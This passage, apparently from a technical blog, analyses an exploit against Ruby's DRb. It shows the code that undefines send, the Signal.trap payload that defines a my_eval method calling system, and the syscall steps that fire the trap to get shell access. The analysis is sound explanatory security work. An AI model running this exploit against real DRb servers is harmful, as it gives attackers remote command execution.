class << p
undef :send
end
This chunk undefines send
on the local DRbObject
instance. As Michael pointed out, if a DRbObject
does not have a method defined, it will route the method call to the remote server using method_missing
.
In this case, all succeeding send
calls will be routed to the remote server and evaluated there instead of the local instance.
p.send(:trap, 23, :"class Object\ndefmy_eval(str)\nsystem(str.untaint)\nend\nend")
This triggers Signal.trap
with signal 23 and a symbol which appears to contain a chunk of code which if evaluated, will create a method on Object
which provides direct access to the shell.
According to the documentation, Signal.trap
can be used to run a block or a command upon receiving a specific signal from the operating system. It's not very clear what a command is, so I did some playing around.
> pid = fork { Signal.trap(23, :"puts 'test'"); puts "sleeping"; sleep 10 }
sleeping #=> 37162
>> Process.detach(pid) #=> #<Thread:0x007f9e13a61d60 sleep>
>> Process.kill(23, pid)
test #=> 1
Looks like a command in symbol form will be converted to string then eval
ed by Signal.trap
.
# syscall to decide whether it's 64 or 32 bit:
# it's getpid on 32bit which will succeed, and writev on 64bit
# which will fail due to missing args
begin
pid = p.send(:syscall, 20)
p.send(:syscall, 37, pid, 23)
This section triggers Kernel#syscall
which calls Unix kernel functions. The rescue
bit handles 64 bit syscall numbers. Let's just look at the 32 bit section here:
p.send(:syscall, 20)
should evaluate to sys_getpid()
p.send(:syscall, 37, pid, 23)
should evaluate to sys_kill(<pid>, 23)
. This will trigger the earlier trap set up for signal 23
.
In conclusion, the exploit:
- Undefines
send
to force messages through method_missing
- Uses
method_missing
to trigger Signal.trap(23)
with a chunk of ruby code converted to a one line string in symbol form
- Uses
Kernel#syscall
to get the PID of the currently running process
- Uses
Kernel#syscall
to call kill -23 <pid>
, which causes the trap set up in 2 to trigger, which in turn evals the provided symbol to create the my_eval
method on Object
which provides access to system
(shell command line access)
- Calls the newly created
my_eval
method with the payload
References:
http://syscalls.kernelgrok.com/
https://ruby-doc.org/core-2.2.0/Signal.html#method-c-trap
https://ruby-doc.org/core-2.2.0/Kernel.html#method-i-syscall